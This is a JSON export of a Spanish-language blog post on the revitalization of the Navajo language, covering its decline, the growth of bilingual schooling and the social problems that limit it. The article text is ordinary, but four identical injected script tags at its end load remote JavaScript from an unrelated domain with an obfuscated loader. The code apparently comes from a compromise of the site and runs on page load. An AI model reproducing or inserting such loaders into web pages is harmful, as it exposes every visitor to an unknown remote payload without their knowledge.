{"id":66934,"date":"2015-09-05T11:35:10","date_gmt":"2015-09-05T09:35:10","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66934"},"modified":"2025-10-21T21:56:32","modified_gmt":"2025-10-21T19:56:32","slug":"la-revitalizacion-del-navajo-en-estados-unidos","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/la-revitalizacion-del-navajo-en-estados-unidos\/","title":{"rendered":"La revitalizaci\u00f3n del navajo en Estados Unidos"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Lucia Dumont el May 20, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Lucia Dumont, Doctora en civilizaci\u00f3n estadounidense en la Universidad de Cergy-Pontoise e investigadora asociada en el centro de investigaci\u00f3n Textos y Francofon\u00eda.<\/em><\/p>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Cobertura de un libro biling\u00fce que cuenta un episodio de la Larga Marca de los Navajos por Evangeline Parsons Yazzie, profesor de lengua y de cultura navajo y coautor del primer m\u00e9todo de aprendizaje del navajo aceptado por los ministerios de la educaci\u00f3n de los Estados de Arizona y del Nuevo M\u00e9xico.\" src=\"\/wp-content\/uploads\/navajo.jpg\" alt=\"Cobertura de un libro biling\u00fce que cuenta un episodio de la Larga Marca de los Navajos por Evangeline Parsons Yazzie, profesor de lengua y de cultura navajo y coautor del primer m\u00e9todo de aprendizaje del navajo aceptado por los ministerios de la educaci\u00f3n de los Estados de Arizona y del Nuevo M\u00e9xico.\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Cobertura de un libro biling\u00fce que cuenta un episodio de la Larga Marca de los Navajos por Evangeline Parsons Yazzie, profesor de lengua y de cultura navajo y coautor del primer m\u00e9todo de aprendizaje del navajo aceptado por los ministerios de la educaci\u00f3n de los Estados de Arizona y del Nuevo M\u00e9xico.<\/p><\/div>\n<p>Los Navajos forman una comunidad de 269 202 personas, cuya mayor\u00eda, 180 762, vive en una reserva que se extiende en tres estados del suroeste de los Estados Unidos, Arizona, Nuevo M\u00e9xico y Utah. El aislamiento de este territorio tan grande como B\u00e9lgica, y las dificultades de acceso los han protegido de las influencias externas durante siglos.<\/p>\n<p>Con respecto a la lengua navajo, pertenece a la familia atabascanas. Es la lengua aut\u00f3ctona de los Estados Unidos que cuenta con el mayor n\u00famero de locutores: 178 014 seg\u00fan el censo de 2000.<br \/>\n&nbsp;<br \/>\n<strong>Las causas de una decadencia<\/strong><\/p>\n<p>Varios acontecimientos mayores amenazaron a la cultura y a la lengua navajo en el transcurso de las d\u00e9cadas, comenzando con su deportaci\u00f3n del 1863 al 1868 lejos de sus tierras ancestrales hasta Bosque Redondo, un episodio llamado \u201d La Larga Marcha\u201d.<\/p>\n<p>En el plano econ\u00f3mico, la presi\u00f3n social y la extrema pobreza de los habitantes facilitaron la transferencia ling\u00fc\u00edstica hacia el ingl\u00e9s, \u201cla lengua del pan\u201d.<\/p>\n<p>Finalmente, en el plano cultural, la escolarizaci\u00f3n de los ni\u00f1os en internados alejados de su familia, donde les era prohibido hablar su lengua, fue una experiencia traumatizante. La imposici\u00f3n de un modo de vida materialista y la presi\u00f3n de grupos como \u201cEnglish-Only\u201d, que preconizan una sociedad monoling\u00fce de lengua inglesa y describen las lenguas amerindias como una traba para la integraci\u00f3n de los pueblos aut\u00f3ctonos en la sociedad mayoritaria, tambi\u00e9n contribuyeron ampliamente al abandono del navajo. Despu\u00e9s de todo, experimentando un sentimiento de verg\u00fcenza hacia su lengua, los padres dejaron de transmit\u00edrselo a sus ni\u00f1os.<\/p>\n<p>Sin embargo, a finales de los a\u00f1os 60, el 92,8 % de la poblaci\u00f3n hablaba todav\u00eda el navajo. Es en aquella \u00e9poca en que se tom\u00f3 conciencia de la decadencia progresiva del uso del navajo como lengua vehicular.<br \/>\n&nbsp;<br \/>\n<strong>Los \u00e9xitos de la escuela biling\u00fce<\/strong><\/p>\n<p>En 1967 se abri\u00f3 la primera escuela comunitaria por Navajos, y para Navajos, y en navajo como la lengua de instrucci\u00f3n. Su misi\u00f3n era instruir a los ni\u00f1os y a los padres primero en su lengua materna para conducirlos progresivamente hacia el ingl\u00e9s, con el fin de permitirles vivir y tener \u00e9xito en ambos mundos.<\/p>\n<p>El primer establecimiento de estudios superiores, el Navajo Community College, encargado de formar a los futuros profesores biling\u00fces, abri\u00f3 sus puertas desde 1968.<\/p>\n<p>En 1983 aparec\u00edan escuelas en inmersi\u00f3n creadas por profesores y padres voluntarios en un entorno compatible con la identidad cultural de los ni\u00f1os. El primer a\u00f1o todos los cursos se llevan a cabo en navajo, luego el ingl\u00e9s es introducido progresivamente, y al fin de la escuela elemental el 50 % de los cursos son dispensados en ingl\u00e9s y el 50 % en navajo.<\/p>\n<p>Por fin, en 1984, el consejo tribal navajo adoptar\u00eda oficialmente una pol\u00edtica ling\u00fc\u00edstica basada en la educaci\u00f3n biling\u00fce.<\/p>\n<p>Estas escuelas favorecieron la asiduidad de los alumnos y las estad\u00edsticas muestran que los que han sido instruidos en su lengua ancestral consiguen mejores resultados que sus pares, que han seguido cursos \u00fanicamente en ingl\u00e9s. En ciertos casos, estos resultados sobrepasan incluso a los ni\u00f1os anglo-americanos en las tres asignaturas fundamentales: lectura, escritura y aritm\u00e9tica.<\/p>\n<p>Actualmente, los biling\u00fces navajo\/ingl\u00e9s son buscados como int\u00e9rpretes juramentados para los tribunales de Arizona y del Nuevo M\u00e9xico. Forman la \u00e9lite pol\u00edtica, econ\u00f3mica, intelectual y art\u00edstica de la Naci\u00f3n navajo, capaces de evolucionar con facilidad en los dos mundos.<br \/>\n&nbsp;<br \/>\n<strong>Dificultades vinculadas con los problemas sociales<\/strong><\/p>\n<p>A pesar de todos los esfuerzos emprendidos y los \u00e9xitos encontrados, el n\u00famero de emisores de navajo contin\u00faa disminuyendo. Y notamos que el n\u00famero de ni\u00f1os hablantes de navajo en la maternal en la reserva decae desde hace 30 a\u00f1os: en 1980 era 80 %, hoy en d\u00eda no son m\u00e1s que 15 %.<\/p>\n<p>Varios elementos entran en consideraci\u00f3n, tanto pedag\u00f3gicos (falta de profesores calificados, fuerte rotaci\u00f3n del personal) como pol\u00edtico-financieros (dependencia de los fondos federales) y demogr\u00e1ficos (desaparici\u00f3n de los ancianos, poseedores de la lengua y de las tradiciones). Pero m\u00e1s all\u00e1 de estas dificultades, los Navajos confrontan un problema de fondo: la salida de la reserva de los j\u00f3venes m\u00e1s instruidos, por falta de desarrollo econ\u00f3mico.<\/p>\n<p>En efecto, en este enclave de los Estados Unidos, seg\u00fan las cifras del censo del 2000, el 47,2 % de las familias navajo viven por debajo del umbral de pobreza, una pobreza end\u00e9mica que engendra muchos actos de desesperanza (adicciones, violencias, suicidos). La tasa de desempleo es del 42,9 % al 58 % en ciertas regiones y favorece la migraci\u00f3n de los j\u00f3venes hacia las ciudades, \u00a1d\u00f3nde cada vez m\u00e1s Navajos tienen \u00e9xito en las grandes universidades!<\/p>\n<p>El orgullo de hablar el navajo, calificado como lengua \u201cde la victoria\u201d (les permiti\u00f3 a los estadounidenses conseguir una batalla decisiva en el Pac\u00edfico sobre todo gracias a los c\u00e9lebres Codifica a Talkers navajos), los acontecimientos culturales tales como la fiesta de la lengua, de la cultura, las competencias de ortograf\u00eda, la elecci\u00f3n de Miss Navajo que debe ser biling\u00fce, bicultural y educada, todo esto contribuye al renad\u00edo de orgullo \u00e9tnico. \u00bfPero podr\u00e1n frenar la decadencia anunciada y asegurar la resiliencia del navajo en una sociedad que favorecer\u00e1 al monopolio del ingl\u00e9s?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Lucia Dumont el May 20, 2011 &nbsp; Por Lucia Dumont, Doctora en civilizaci\u00f3n estadounidense en la Universidad de Cergy-Pontoise e investigadora asociada en el centro de investigaci\u00f3n Textos y Francofon\u00eda. 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